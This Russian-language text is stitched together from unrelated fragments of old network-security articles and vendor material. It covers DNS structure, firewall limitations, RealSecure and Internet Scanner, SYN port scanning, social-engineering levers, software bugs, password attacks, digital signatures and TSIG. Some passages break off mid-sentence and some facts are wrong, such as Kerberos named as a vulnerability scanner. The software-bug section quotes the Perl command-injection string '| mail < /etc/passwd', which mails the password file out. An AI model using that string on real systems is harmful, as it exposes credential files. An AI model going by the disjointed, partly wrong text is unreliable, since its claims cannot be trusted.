Иерархическая упорядоченность DNS обеспечивает уникальность имен хостов. Иерархическая структура DNS имеет вид перевернутого дерева. При перемещении по дереву от листа к корню мы получаем полное доменное имя (Fully Qualified Domain Name, FQDN). В DNS всякое имя FQDN является уникальным. Запрос с указанием имени хоста приводит к просмотру структуры дерева от корня до листа в целях нахождения соответствующего ему IP-адреса. Аналогичное дерево имеется и для обратного отображения, в случае которого запрос с IP-адресом приводит к просмотру структуры этого дерева для нахождения имени хоста или FQDN, для указанного IP-адреса.

Верхнему уровню перевернутого дерева соответствует корень DNS. Этот корень обычно обозначается как "." (т. е. "точка") и является последним символом в FQDN. Первый уровень ниже корня делится на крупные классы, такие, как некоммерческие организации (org), коммерческие структуры (com), образовательные учреждения (edu) и т. д. Следующий уровень обычно представляет конкретную организацию или компанию в домене org, edu или com. Например, isc.org или vix.com. И isc, и vix называются также именами доменов.

Такой способ последовательного деления имен доменов позволяет уникальным образом идентифицировать хост в домене (или, возможно, в поддомене), к которому он принадлежит. Благодаря этому ответственность за управление именами хостов и адресами (их добавлением, удалением или изменением) может быть передана местным администраторам. Возможность делегирования прав администрирования и локального управления именами хостов обеспечивает чрезвычайную гибкость и масштабируемость DNS.

Другое важное преимущество DNS по сравнению с ее предшественником с плоской структурой - высокая доступность информации по каждому домену или зоне. (Несмотря на определенные различия между понятиями зоны и домена, для целей этой статьи мы будем считать зону синонимом домена.) Каждая зона содержит один основной или первичный сервер, на котором осуществляются все изменения информации по зоне. Помимо основного сервера зона содержит вспомогательные или вторичные серверы. Таких серверов может быть несколько. Они периодически обращаются к основному серверу для проверки факта обновления информации и, если обновление действительно имело место, получения данных по зоне. Данная процедура называется пересылкой зоны.

Каждая зона имеет порядковый номер, увеличиваемый каждый раз при внесении изменений в информацию об этой зоне на основном сервере. Благодаря этому вспомогательный сервер может без труда обнаружить факт обновления. Наличие более одной копии зоны обеспечивает рудиментарную форму распределения нагрузки и высокую доступность данных.

Отсутствие контроля своей конфигурации

Даже если все описанные выше проблемы решены, остается опасность, что межсетевой экран неправильно сконфигурирован. Приходится сталкиваться с ситуацией, когда приобретается межсетевой экран, первоначальная конфигурация которого осуществляется специалистами поставщика и тем самым, как правило, обеспечивается высокий уровень защищенности корпоративных ресурсов. Однако, с течением времени, ситуация меняется, - сотрудники хотят получить доступ к новым ресурсам Internet, работать с новым сервисами (RealAudio, VDOLive и т.п.) и т.п. Таким образом, постепенно защита, реализуемая межсетевым экраном, становится дырявой как решето, и огромное число правил, добавленных администратором, сводятся к одному: "разрешено все и всем".

В этом случае помогут средства анализа защищенности. Средства анализа защищенности могут тестировать межсетевой экран как на сетевом уровне (например, подверженность атакам типа "отказ в обслуживании"), так и на уровне операционной системы (например, права доступа к конфигурационным файлам межсетевого экрана). Кроме того, при сканировании возможна реализация атак типа "подбор пароля", позволяющие обнаружить "слабые" пароли или пароли, установленные производителем по умолчанию. К средствам, проводящим такие проверки, можно отнести, например, систему Internet Scanner американской компании Internet Security Systems (ISS).

Отсутствие снижения производительности сети

При использовании системы RealSecure? снижения производительности сети незначительное (не более 3-5%). Проблемы могут возникнуть при функционировании модуля слежения на компьютере с минимально требуемыми системными требованиями и большой интенсивности сетевого трафика. В этом случае часть пакетов может быть пропущена без соответствующей обработки.

Отсутствие защиты новых сетевых сервисов

Вторым недостатком межсетевых экранов можно назвать невозможность защиты новых сетевых сервисов. Как правило, МСЭ разграничивают доступ по широко распространенным протоколам, таким как HTTP, Telnet, SMTP, FTP и ряд других. Реализуется это при помощи при помощи механизма "посредников" (proxy), обеспечивающих контроль трафика, передаваемого по этим протоколам или при помощи указанных сервисов. И хотя число таких "посредников" достаточно велико (например, для МСЭ CyberGuard Firewall их реализовано более двухсот), они существуют не для всех новых протоколов и сервисов. И хотя эта проблема не столь остра (многие пользователи используют не более десятка протоколов и сервисов), иногда она создает определенные неудобства.

Многие производители межсетевых экранов пытаются решить указанную проблему, но удается это далеко не всем. Некоторые производители создают proxy для новых протоколов и сервисов, но всегда существует временной интервал от нескольких дней до нескольких месяцев между появлением протокола и соответствующего ему proxy. Другие разработчики межсетевых экранов предлагают средства для написания своих proxy (например, компания CyberGuard Corporation поставляет вместе со своим МСЭ подсистему ProxyWriter позволяющую создавать proxy для специфичных или новых протоколов и сервисов). В этом случае необходима высокая квалификация и время для написания эффективного proxy, учитывающего специфику нового сервиса и протокола. Аналогичная возможность существует и у межсетевого экрана CheckPoint Firewall-1, который включает в себя мощный язык INSPECT, позволяющий описывать различные правила фильтрации трафика.

Отсутствие защиты от авторизованных пользователей

Наиболее очевидный недостаток межсетевых экранов - невозможность защиты от пользователей, знающих идентификатор и пароль для доступа в защищаемый сегмент корпоративной сети. Межсетевой экран может ограничить доступ посторонних лиц к ресурсам, но он не может запретить авторизованному пользователю скопировать ценную информацию или изменить какие-либо параметры финансовых документов, к которым этот пользователь имеет доступ. А по статистике не менее 70% всех угроз безопасности исходит со стороны сотрудников организации. Поэтому, даже если межсетевой экран защитит от внешних нарушителей, то останутся нарушители внутренние, неподвластные МСЭ.

Для устранения этого недостатка нужны новые подходы и технологии. Например, использование систем обнаружения атак (intrusion detection systems). Данные средства, ярким примером которых является система RealSecure, обнаруживают и блокируют несанкционированную деятельность в сети независимо от того, кто ее реализует - авторизованный пользователь (в т.ч. и администратор) или злоумышленник. Такие средства могут работать как самостоятельно, так и совместно с межсетевым экраном. Например, система RealSecure обладает возможностью автоматической реконфигурации межсетевого экрана CheckPoint Firewall-1 путем изменения правил, запрещая тем самым доступ к ресурсам корпоративной сети с атакуемого узла.

Пакетные фильтры

Брандмауэры с пакетными фильтрами принимают решение о том, пропускать пакет или

отбросить, просматривая IP-адреса, флаги или номера TCP портов в заголовке этого пакета.

IP-адрес и номер порта - это информация сетевого и транспортного уровней соответственно, но

пакетные фильтры используют и информацию прикладного уровня, т.к. все стандартные

сервисы в TCP/IP ассоциируются с определенным номером порта.

Для описания правил прохождения пакетов составляются таблицы типа:

Действие

тип пакета

адрес источн.

порт источн.

адрес назнач.

порт назнач.

флаги

Поле "действие" может принимать значения пропустить или отбросить.

Тип пакета - TCP, UDP или ICMP.

Флаги - флаги из заголовка IP-па-кета.

Поля "порт источника" и "порт назначения" имеют смысл только для TCP и UDP пакетов.

Параллельное сканирование

Система Internet Scanner&153; позволяет параллельно сканировать до 128 узлов сети, которые могут принадлежать разным диапазонам IP-адресов. Такая возможность дает администратору безопасности более гибко проводит анализ защищенности больших сетей, состоящих из нескольких сегментов с разными требованиями по защищенности.

Выбор сканируемых узлов может осуществляться тремя способами:

задание одного или нескольких диапазонов сканируемых узлов в текстовом файле; задание одного или нескольких диапазонов сканируемого узлов в диалоговом режиме; использование всего диапазона сканируемых узлов, заданного в ключе авторизации системы Internet Scanner&153;.

Пассивное сканирование

Сканирование часто применяется крэкерами для того, чтобы выяснить, на каких TCP-портах работают демоны, отвечающие на запросы из сети. Обычная программа-сканер последовательно открывает соединения с различными портами. В случае, когда соединение устанавливается, программа сбрасывает его, сообщая номер порта крэкеру.

Данный способ легко детектируются по сообщениям демонов, удивленных мгновенно прерваным после установки соединением, или с помощью использования специальных программ. Лучшие из таких программ обладают некоторыми попытками внести элементы искуственного элемента в отслеживание попыток соединения с различными портами.

Однако крэкер может воспользоваться другим методом -- пассивным сканированием (английский термин "passive scan"). При его использовании крэкер посылает TCP/IP SYN-пакет на все порты подряд (или по какому-то заданному алгоритму). Для TCP-портов, принимающих соединения извне, будет возвращен SYN/ACK-пакет, как приглашение продолжить 3-way handshake. Остальные вернут RST-пакеты. Проанализировав данные ответ, крэкер может быстро понять, на каких портах работают программа. В ответ на SYN/ACK-пакеты он может также ответить RST-пакетами, показывая, что процесс установки соединения продолжен не будет (в общем случае RST-пакетами автоматический ответит TCP/IP-реализация крэкера, если он не предпримет специальных мер).

Метод не детектируется предыдущими способами, поскольку реальное TCP/IP-соединение не устанавливается. Однако (в зависимости от поведения крэкера) можно отслеживать:

резко возросшее количество сессий, находящихся в состоянии SYN_RECEIVED. (при условии, что крэкер не посылает в ответ RST);

прием от клиента RST-пакета в ответ на SYN/ACK.

К сожалению, при достаточно умном поведении крэкера (например, сканирование с низкой скоростью или проверка лишь конкретных портов) детектировать пассивное сканирование невозможно, поскольку оно ничем не отличается от обычных попыток установить соединение.

В качестве защиты можно лишь посоветовать закрыть на firewall все сервисы, доступ к которым не требуется извне.

Пассивные атаки на уровне TCP

При данном типе атак крэкеры никаким образом не обнаруживают себя и не вступают напрямую во взаимодействие с другими системами. Фактически все сводиться к наблюдению за доступными данными или сессиями связи.

Перевод

Перевод осуществлен Алексеем Лукацким (). Перевод учитывает российскую терминологию и специфику российского рынка средств защиты информации. Данная версия FAQ переведена практически без изменений исходного текста. В ближайшее время переводчик обновит некоторые части этого документа, добавит новые разделы, обновит информацию о продуктах и т.д. Все замечания переводчика даны курсивом в скобках. Если в тексте встречаются фразы от первого лица, то это относится к автору документа, а не к переводчику.

Перспективы

Широкому применению свободно распространяемых систем защиты мешает целый ряд сложностей и проблем.

Перспективы развития

С 1992 года, когда появился первый сканер SATAN, существенно изменились требования к такого рода средствам. Сейчас уже недостаточно, чтобы система анализа защищенности обладала только обширной базой уязвимостей. Поэтому производители стали расширять функциональность своих продуктов за счет добавления следующих возможностей.

По мере того, как в компьютерной

Хотя свободно распространяемые системы защиты существуют уже давно, они никогда не использовались столь широко, как операционная система Linux и Web-сервер Apache. Джон Пескаторе, директор компании Gartner по исследованиям, связанным с безопасностью в Internet, отметил, что среди применяемых систем защиты на долю свободно распространяемых средств сейчас приходится 3-5%, но к 2007 году этот показатель может возрасти до 10-15%.

Основной причиной такого потенциала является качество многочисленных свободно распространяемых пакетов защиты. «Поддержка некоторых общеупотребительных средств защиты осуществляется на достаточно высоком уровне, и многие разработчики предлагают для них новый инструментарий и шаблоны. В определенном смысле такие решения конкурируют с коммерческим инструментарием», — заметил Юджин Спаффорд, директор Центра обучения и исследований в области информационной безопасности университета Пурди.

К свободно распространяемым программным продуктам относятся бесплатные инструментальные средства, которые можно загрузить из Internet, пакеты, для которых производители предлагают коммерческие услуги поддержки, а также дополнительный инструментарий, поставляемый вместе с коммерческими продуктами.

К наиболее популярным инструментам относятся Netfilter и iptables; системы обнаружения вторжений, например, Snort, Snare и Tripwire; сканеры уязвимых мест в системах защиты, такие как Kerberos; межсетевые экраны, в частности, T.Rex.

Некоторые предприятия даже начали использовать свободно распространяемые системы защиты для обеспечения безопасности своей критически важной инфраструктуры.

Почему это возможно?

Каждый из нас имеет струны, за которые стоит только подергать и все, вы размякли, не готовы критически оценивать свои поступки и будете делать все, о чем вас попросит опытный психолог, манипулирующий вами, как кукловод. Не стоит думать, что влиять на ваши поступки может только квалифицированный психолог. Эта наука доступна любому, потратившему на ознакомление с ее азами всего-лишь 1-2 часа. Каждый человек имеет болевые точки, поразить которые и есть задача хакера, желающего использовать социальный инжиниринг в своей противоправной деятельности.

При этом, если всех так называемых психокомплексов существует несколько десятков, то тех, которые применяются хакерами, не так уж и много. Перечислю их:

Страх. Пожалуй, это самый часто используемый и самый опасный психокомплекс человека. Существуют десятки и сотни разновидностей страха, начиная от боязни потерять работу и боязни понижения в должности и заканчивая боязнью потери престижа и боязни сделать что-то не так.

Любопытство. Помните детскую игру? Вам давали свернутую "раскладушкой" полоску бумаги, на которой было написано "разверни". Вы послушно разворачивали "раскладушку" и в конце бумажки видели фразу "а теперь заверни обратно". Более взрослая, но безопасная шутка заключалась в посылке другу ссылки: , нажав на которую вам приходилось в течение долгого времени нажимать на кнопку OK в появляющихся в броузере окнах. Закрыть броузер стандартными средствами становится невозможным. Приходится "убивать" процесс, что может сказаться на работоспособности других приложений. Более опасные примеры использования любопытства в хакерских целях заключались в создании обманных серверов с заманивающими сообщениями, на которых доверчивые пользователи оставляли конфиденциальную информацию о себе, включая пароли. А так как обычно пользователи используют один и тот же пароль для доступа и к своему компьютеру и к Internet и к почтовому ящику, то узнав один пароль, с высокой вероятностью вы получали доступ и к другим паролям. Кстати, можно проверить, любопытны ли вы. Допустим, что я вам категорически не рекомендую заходить на страницу , потому что это очень опасно. Особенно, если вы используете броузер Internet Explorer. Сможете ли вы удержаться от того, чтобы не посмотреть, что находится по этому адресу?

Жадность. Этот психокомплекс завершает лидирующую тройку, которая может быть использована хакерами в своей зловредной деятельности. Проиллюстрирую его на реальном примере, с которым мне пришлось столкнуться в своей деятельности. У нас был сотрудник, на которого пало подозрение, что он ведет нечестную игру. И действительно, найдя в Internet его резюме, нами было составлено письмо от имени потенциального работодателя, в котором этому человеку было предложено заманчивое предложение. Взамен, мы задали ему несколько завуалированных вопросов о нашей корпоративной сети, ее системе защиты и ряд других, не менее важных вопросов. Нечистоплотный сотрудник, прекрасно понимая всю конфиденциальность этих сведений, предоставил их нам. После получения доказательств нами были сделаны соответствующие оргвыводы.

Превосходство. Можете ли вы с уверенностью сказать, что вам не знакомо чувство превосходства? Если да, то вы счастливый человек. Немногие могут похвастаться этим. Хакеры нередко использую этот психокомплекс в своих целях. Представьте, что к вам подошел "крутой" специалист, "кидающий пальцы" по какому-либо техническому вопросу. Вы, желая показать свое превосходство, начинаете опровергать его, указывать ему его место и т.д. В результате, в угаре словесного боя, вы можете выболтать что-то важное. И хотя данный метод большинству читателей знаком по шпионским боевикам (например, "Судьба резидента"), он вполне может быть применен и в обычной жизни.

Великодушие и жалось. Эти два похожих психокомплекса ориентированы на то, что почти каждому человеку свойственны жалость и великодушие. К вам может обратиться красивая девушка (кстати, эротический психокомлекс является одним из самых опасных - на него "ведутся" даже профессионалы) и, протягивая дискету, попросить помочь ей распечатать какой-то файл. Вы, по простоте душевной, вставляете эту дискету в свой компьютер и… получаете целый набор троянских коней, которые, активизируясь, начинают красть у вас пароли, финансовые отчеты и другую конфиденциальную информацию.

Доверчивость. Людям свойственно надеяться на лучшее и верить, что именно ИХ никто не обманет. Именно этот психокомплекс использовался при организации пирамид "МММ", "Русский Дом Селенга" и т.д. И он же с успехом может применяться в IT-области. Например, 25 августа 2000 года служба распределения пресс-релизов Internet Wire получила сообщение от компании Emulex Corp., в котором говорилось, что исполнительный директор этой компании ушел в отставку. Служба Internet Wire, не проверив корректность данного сообщения, распространила его среди своих подписчиков. Некоторые другие службы также распространили данное сообщение, которое на самом деле являлось подделкой. В результате курс акций компании Emulex упал на 61% (со $113 до $43), чем не преминул воспользоваться злоумышленник, создавший ложный пресс-релиз. Грамотно составленное письмо внушает к нему доверие, особенно если адрес отправителя соответствует человеку, подпись которого стоит под письмом.

Почему ЮНИ выбрала Check Point?

Выбор Check Point FireWall-1 как основы для реализации проектов сетевой безопасности был не случаен. Впервые мы познакомились с этим продуктом более четырех лет назад. В то время он был представлен на Российском рынке ОЕМ-версией от SUN Microsystems. Первые версии продукта представляли в большей степени теоретический интерес: Check Point реализовал совершенно новый по тем временам подход к инспекции IP-пакетов, но вскоре этот метод (Statefull Inspection Technology) получил высокую оценку и был запатентован. Сейчас многие производители систем firewall используют принципиально похожие технологии. Продукт совершенствовался и через два года своего существования стал наиболее распространенной в мире системой сетевой защиты. В России Check Point FireWall-1 начал пользоваться заслуженной популярностью в 1995 году, когда появление крупных проектов потребовало соответствующей технической поддержки и активного взаимодействия с непосредственным производителем. А затем ЮНИ и Check Point заключили сначала реселлерское, а затем и дистрибьюторское соглашения. В 1997 году ЮНИ авторизовала в Check Point свой учебный центр NTC. Возможность подготовить специалистов по материалам, одобренным производителем, на наш взгляд, является одним из ключевых моментов в реализации комплекса мер по защите сетей.

Почему нарушители могут проникать внутрь систем?

Программное обеспечение (ПО) всегда имеет ошибки и уязвимости. Системные администраторы и программисты никогда не могут отследить и исключить все возможные проблемы. Нарушителю же надо найти только одну "дыру", чтобы проникнуть внутрь.

1.4.1 Ошибки ПО

Ошибки ПО можно классифицировать следующим образом:

Переполнение буфера. Почти все уязвимости, о которых вы можете прочитать в прессе, связаны с этой проблемой. Типичный пример - программист, который хранения имени пользователя выделает только 256 символов. Несомненно, программист думает, что ни у кого не будет имени состоящего, из более чем 256 символов. Но хакер думает иначе, "Что произойдет, если я введу ложное имя пользователя длиннее 256 символов?" Где хранятся дополнительные символы? Если хакеры выполнят свою работу "правильно", они могут послать 300 символов, включая исполняемый код, который будет выполняться сервером, что может привести к опасным последствиям. Хакеры находят эти ошибки различными путями. Прежде всего, в Сети имеется исходный код для массы сервисов. Хакеры, как правило, просматривают этот код в поисках программ и утилит, имеющих проблемы с переполнением буфера. Во-вторых, хакеры могут и сами изучать программы с целью определить, имеют ли они какие-нибудь проблемы, хотя чтение двоичного кода является достаточно трудной задачей. В третьих, хакеры будут исследовать каждый участок программы, который работает с входными данными, и будут пытаться переполнить его с помощью случайных (произвольных) данных. Если программа выходит из строя, то появляется хороший шанс для проникновения внутрь. Отметим, например, что эта проблема является широко распространенной в программах, написанных на C/C++, но редкой в программах, написанных на языке Java.

Неожиданные комбинации. Программы обычно составляются с использованием многих слоев (уровней) кода, включая ядро операционной системы (ОС) в качестве основы для большой части других слоев. Нарушители могут часто посылать входные данные, которые являются бессмысленными для одного слоя (уровня), но много значащими для другого. Наиболее распространенный язык для обработки входных данных пользователя на Web - PERL. Программы, написанные на PERL, как правило, будут посылать эти входные данные к другим программам для дальнейшей оценки. Наиболее распространенный хакерский метод - ввести строку типа "| mail < /etc/passwd". И она будет выполняться, потому что PERL "просит" ОС запустить дополнительную программу с этими входными данными. Однако ОС перехватывает символ '|' и запускает 'mail' -программу, которая передает нарушителю файл паролей по электронной почте.

Необрабатываемые входные данные. Большинство программ пишутся для обработки достоверных входных данных. Большинство программистов не учитывают ситуацию, когда кто-то вводит данные, не соответствующие спецификации.

Состязания. Большинство систем сегодня являют "многозадачными ". Это означает, что они могут выполнять одновременно более одной программы. Есть опасность, если двум программам требуется доступ к одним и тем же данным в одно и то же время. Представим себе две программы А и В, которым необходимо изменить один и тот же файл. Для того, чтобы модифицировать файл, каждая программа должна сначала загрузить файл в оперативную память, изменить содержание в памяти, затем скопировать из памяти обратно в файл. Состязание имеет место, когда программа A читает файл в памяти, а затем производит изменение. Однако, до того как А запишет файл, программа В вступит в действие и полностью прочитает/модифицирует/запишет в файл. Теперь программа A записывает свою собственную копию обратно в файл. Поскольку программа А начала свое копирование до того, как программа В сделала свои изменения, все эти изменения, сделанные программой В, будут потеряны. Так как вы получаете последовательность событий как раз в правильном порядке, "состязание" проявляется очень редко. Нарушители, обычно, делают сотни и тысячи попыток, прежде чем они смогут реализовать данную ситуацию и проникнуть в систему.

1.4.2 Конфигурация системы

Ошибки в конфигурации системы можно классифицировать следующим образом:

Конфигурации по умолчанию: Большинство систем поставляется покупателям с конфигурациями, установленными по умолчанию, и облегчающими использование систем. К сожалению, "облегчающие использование" означает "легко взламываемые". Практически любой компьютер, поставляемый с ОС UNIX или WinNT, может быть легко взломан.

Ленивые администраторы: Поразительное количество машин сконфигурировано с пустым root/administrator паролем. Это связано с тем, что администраторы слишком ленивы для того, чтобы сразу сконфигурировать компьютер. Они хотят побыстрее включить и запустить его с минимумом действий. К сожалению, позднее они устраняют эту проблему с паролем, позволяя нарушителям легко получать несанкционированный доступ к компьютеру. Одна из первых вещей, которую сделает нарушитель при проникновении в сеть, заключается в том, что он просканирует все компьютеры на предмет пустых паролей.

Создание дыры: Виртуально все программы могут быть сконфигурированы для запуска в незащищенном режиме. Временами администраторы неумышленно открывают уязвимости в компьютере. Большинство руководств администратора рекомендует администраторам выключить все, в чем нет необходимости на компьютере. Отметим, что системы анализа защищенности защиты могут, как правило, находить эти дыры и уведомлять администратора.

Доверенные связи: Нарушители часто "прыгают по островкам" по всей сети, используя доверенные связи. Сеть из доверенных компьютеров является такой же защищенной, как ее самая слабая связь или звено.

1.4.3 Взлом пароля

Это довольно-таки специфическая категория:

Действительно слабые пароли: Большинство людей используют в качестве паролей свои имена, имена своих детей, супруга/супруги, любимого(ой) или модели машины. Также есть пользователи, которые выбрали в качестве пароля выбрали слово "пароль" или "password" или вообще никакого слова. В целом существует перечень из не менее чем 30 возможностей, которые может использовать нарушитель для подбора паролей.

Атака по словарю: Потерпев неудачу в случае вышеуказанной атаки, нарушитель может затем попытаться использовать "атаку по словарю". В этом случае нарушитель будет использовать программу, которая будет опробовать в качестве пароля каждое возможное слово, приведенное в словаре. Атаки по словарю могут осуществляться либо путем неоднократных регистраций в атакуемой системе, либо путем сбора шифрованных паролей и попыток найти им незашифрованную пару. Для этих целей нарушители, как правило, имеют копию русского, английского словаря, а также словари других иностранных языков. Все они используют дополнительные словари, как с именами (см. выше), так и со списками наиболее распространенных паролей.

Подбор пароля: Аналогично атаке по паролю, нарушитель старается использовать все возможные комбинации символов. Короткий пароль, состоящий из 4-х букв в нижнем регистре, может быть взломан за несколько секунд (приблизительно полмиллиона возможных комбинаций). Длинный семизначный пароль, состоящий из символов в нижнем и верхнем регистре, а также чисел и знаков препинания (10 триллионов комбинаций) может потребовать не один месяц для взлома, допуская что вы можете осуществлять миллион комбинаций в секунду.

1.4.4 Перехват незащищенного трафика

Общедоступная среда: На традиционном Ethernet вы можете разместить перехватчик (sniffer), чтобы перехватывать весь трафик на сегменте. В настоящее время это становится все более и более трудным, т.к. многие организации используют коммутируемые сети, состоящие из многих сегментов.

Перехват на сервере: Однако в коммутируемых сетях вы можете установить сниффер на сервере, тем самым, получая доступ ко всей циркулирующей в сети информации. Например, вы можете не знать пароля определенного пользователя, но перехват пароля, передаваемого по протоколу Telnet позволяет вам получить доступ к удаленного узлу.

Удаленный перехват: В больших сетях вы можете получить много интересной информации даже не имея возможности "прослушивать" весь трафик (например, в случае доступного RMON).

Почтовый сервер и DNS.

МЭ включает средства построения этих видов сервиса, при этом позволяет

полностью скрыть структуру внутренней сети от внешнего мира, как в

почтовых адресах, так и в DNS.

Поддерживаемые схемы авторизации пользователя

FireWall-1 поддерживает разнообразные варианты авторизации пользователей:

SecurID — пользователь набирает номер, высвечивающийся на электронной карточке Security Dynamics SecurID.

S/Key — от пользователя требуется набрать соответствующую запрашиваемому номеру комбинацию S/Key ключа.

OS Password — пользователь должен набрать пароль операционной системы.

Internal — пользователь набирает специальный пароль, хранимый в FireWall-1 шлюза.

Axent — требуется ввод в соответствии с инструкциями сервера Axent.

RADIUS — требуется ввод в соответствии с инструкциями сервера RADIUS.

Для систем на базе RADIUS-серверов существует несколько реализаций, сертифицированных в рамках OPSEC и предлагаемых для использования официальными партнерами.

© ООО , 1998

Поддержка гибких решений

Продукт RealSecure, разработанный профессионалами с большим опытом, отражает взгляд изнутри на проблемы безопасности и полное понимание методов повышения безопасности и работы с данными. Открытая структура базы данных RealSecure и гибкие процедуры создания отчетов делают собираемую этим продуктом информацию чрезвычайно полезной и удобной для ее дальнейшего использования. Данные доступны в формате, наиболее подходящем для лиц, принимающих решения на всех уровнях компании, - в самом общем виде и в виде более детальных отчетов. Кроме этого, новые возможности RealSecure облегчают преобразование информации и приведение ее к виду высококачественных графических и текстовых отчетов. Некоторые компании имеют отдельный персонал для просмотра большого количества технических данных вне зависимости от того, насколько важными они могут быть. Фокусируя влияние профессионалов в области безопасности на такой же информации, но в простом и интуитивном виде, RealSecure позволяет им эффективно управлять угрозами сетевой безопасности.

Поддержка почтового протокола SMTP

SMTP-протокол был изначально разработан для обеспечения максимально гибких возможностей взаимодействия пользователей. Тогда предполагалось, что доступ к Интернет пользователи получают из различных географических регионов. Затем протокол был расширен возможностями поддержки передачи различного рода информации в виде вложений электронной почты. В результате оказалось, что достаточно сложно обеспечить максимальную прозрачность почтовых соединений и, при этом, оградить от взломщиков внутреннюю сеть организации.

FireWall-1 успешно защищает сеть организации, благодаря детальному контролю SMTP-соединений. Хочется отметить следующие возможности FireWall-1:

Скрытие в выходящей почте адреса в поле From_ путем замены его на некоторый общий адрес позволяет полностью скрыть внутреннюю сетевую структуру и реальных внутренних пользователей

Перенаправление почты, посланной какому-либо пользователю, например, пользователю root

Уничтожение почты, посланной некоторым адресатом

Удаление вложений определенного типа, например, выполняемых файлов программ

Удаление полей Received в выходящей почте, что предотвращает распространение информации о маршрутах почты внутри организации

Удаление почтовых сообщений, превышающих заданный размер

Сканирование на наличие вирусов

В дополнение, FireWall-1 поддерживает только необходимый набор команд протокола SMTP, что не явно способствует поддержанию безопасности, так как не тривиальные команды, которые можно использовать с враждебными целями, не допускаются.

Подпись документов при помощи криптосистем с открытыми ключами

Поиски методов, устраняющих указанные выше недостатки, велись по нескольким направлениям. Наиболее впечатляющих результатов добились криптографы-математики Уитфилд Диффи (W. Diffie) и Мартин Хеллман (M. Hellman), а также Ральф Меркль (Ralph Merkle), которые в конце 70-х годов опубликовали результаты своих исследований. В своих работах авторы показали, что существует возможность построения криптосистем, не требующих передачи секретного ключа между абонентами, участвующими в обмене защищаемой информацией. В таких криптосистемах нет необходимости и в арбитрах. Суть разработанного подхода заключается в том, что в обмене защищаемыми документами каждый абонент использует пару взаимосвязанных ключей - открытый и секретный. Отправитель подписываемого документа передает получателю открытый ключ. Он может это сделать любым несекретным способом или поместить ключ в общедоступный справочник. При помощи открытого ключа получатель проверяет подлинность получаемой информации. Секретный ключ, при помощи которого подписывалась информация, хранится в тайне от всех.

Можно заметить, что в данной схеме абоненты используют различные ключи, что не позволяет мошенничать ни одной из сторон. Подробный анализ цифровой подписи на основе криптосистем с открытыми ключами показывает, что она полностью удовлетворяет требованиям, предъявляемым к ней и указанным в начале статьи. В настоящий момент широкого известны цифровые подписи, построенные по алгоритмам RSA, Эль-Гамаля, Шнорра, Рабина и математического аппарата эллиптических кривых.

Подпись документов при помощи симметричных криптосистем

Первые варианты цифровой подписи были реализованы при помощи симметричных криптосистем, в которой абоненты, участвующие в обмене сообщениями, используют один и тоже секретный ключ для простановки и проверки подписи под документом. В качестве алгоритма криптографического преобразования может использоваться любая из симметричных криптосистем, обладающая специальными режимами функционирования (например, DES, ГОСТ 28147-89 и т.п.).

Процедура подписи документов при помощи симметричной криптосистемы может выглядеть следующим образом:

1. Алекс и Юстас обладают одинаковым секретным ключом K.

2. Алекс зашифровывает цифровое сообщение, используя ключ K, и посылает зашифрованное сообщение Юстасу. При этом, как уже отмечалось, используется криптосистема, обладающая специальными механизмами функционирования, например ГОСТ 28147-89 в режиме выработки имитовставки.

3. Юстас расшифровывает сообщение при помощи ключа K.

Так как только Алекс и Юстас обладают секретным ключом, то тем самым обеспечивается гарантия, что сообщение подписано именно Алексом, а не стариком Мюллером. Однако, данная схема применима только в тех сетях, в которых можно дать стопроцентную гарантирую надежности каждого из абонентов, т.к. в обратном случае существует потенциальная возможность мошенничества со стороны одного из абонентов, владеющих секретным ключом.

Для устранения указанного недостатка была предложена схема с доверенным арбитром. В данной схеме помимо Алекса и Юстаса существует арбитр - радистка Кэт. Она может обмениваться сообщениями и с Алексом, и с Юстасом, и владеет секретными ключами обоих - KА и KЮ. Процедура подписания документов в данной схеме выглядит следующим образом:

1. Алекс зашифровывает сообщение, используя ключ KА, и посылает его Кэт.

2. Кэт расшифровывает сообщение, также используя ключ KА.

3. Расшифрованное сообщение Кэт зашифровывает на ключе Юстаса KЮ.

4. Данное сообщение Кэт посылает Юстасу.

5. Юстас расшифровывает сообщение, полученное от Кэт, используя ключ KЮ.

Насколько эффективна данная схема? Рассмотрим ее с учетом вышеуказанных требований, предъявляемых к цифровой подписи.

Во-первых, Кэт и Юстас знают, что сообщение пришло именно от Алекса. Уверенность Кэт основана на том, что секретный ключ KА имеют только Алекс и Кэт. Подтверждение Кэт служит доказательством Юстасу. Во-вторых, только Алекс знает ключ KА (и Кэт, как доверенный арбитр). Кэт может получить зашифрованное сообщение на ключе KА только от Алекса. Если Мюллер пытается послать сообщение от имени Алекса, то Кэт сразу обнаружит это на 2-м шаге. В-третьих, если Юстас пытается использовать цифровую подпись, полученную от Кэт, и присоединить ее к другому сообщению, выдавая его за сообщение от Алекса, это выявляется. Арбитр может потребовать от Юстаса данное сообщение и затем сравнивает его с сообщением, зашифрованном на ключе KА. Сразу выявляется факт несоответствия между двумя сообщениями. Если бы Юстас попытался модифицировать присланное сообщение, то Кэт аналогичным способом выявила бы подделку. В-четвертых, даже если Алекс отрицает факт посылки подписанного сообщения, подтверждение от Кэт говорит об обратном.

В случае возникновения спорных ситуаций, например, связанных с отказом отправителя от факта подписания документа, используются услуги третьей, независимой стороны, так называемого арбитра, который расследует каждую такую ситуацию и принимает решение в пользу одной из сторон, участвующих в обмене данными.

Можно заметить, что самым критичным звеном этой схемы является именно арбитр. Во-первых, он должен быть действительно независимой ни от кого стороной. А во-вторых, арбитр должен быть абсолютно безошибочным. Ошибка в рассмотрении даже одной из нескольких тысяч спорных ситуаций подорвет доверие не только к арбитру, но и ко всем предыдущим подписанным документам, достоверность которых удостоверялась арбитром.

Именно поэтому, несмотря на теоретическую возможность применения симметричных криптосистем, на практике для выработки подписи они не используются, поскольку требуют дорогостоящих и громоздких мероприятий по поддержанию достаточного уровня достоверности передаваемых данных.

ПОДПИСИ ТРАНЗАКЦИЙ

Этот метод защиты называется TSIG, потому что он предполагает шифрование сообщения с помощью секретного ключа. Его отличие состоит в том, что один и тот же ключ используется как для генерации подписи, так и для ее проверки (т. е. вся процедура является закрытой) и что общий секретный ключ (также называемый "общим секретом") известен только хостам из одной локальной сети или (в крайнем случае) в одной территориальной сети. Использовать TSIG гораздо проще, чем полномасштабную защиту DNSSEC.

TSIG особенно полезен в случае транзакций DNS UPDATE. Большинство транзакций DNS представляет собой запросы относительно наличия данных. Транзакция DNS UPDATE вносит изменения в данные DNS на узле. Эта транзакция описана в RFC 2136, но для наших целей достаточно будет знать, что она не снабжена собственными механизмами защиты.

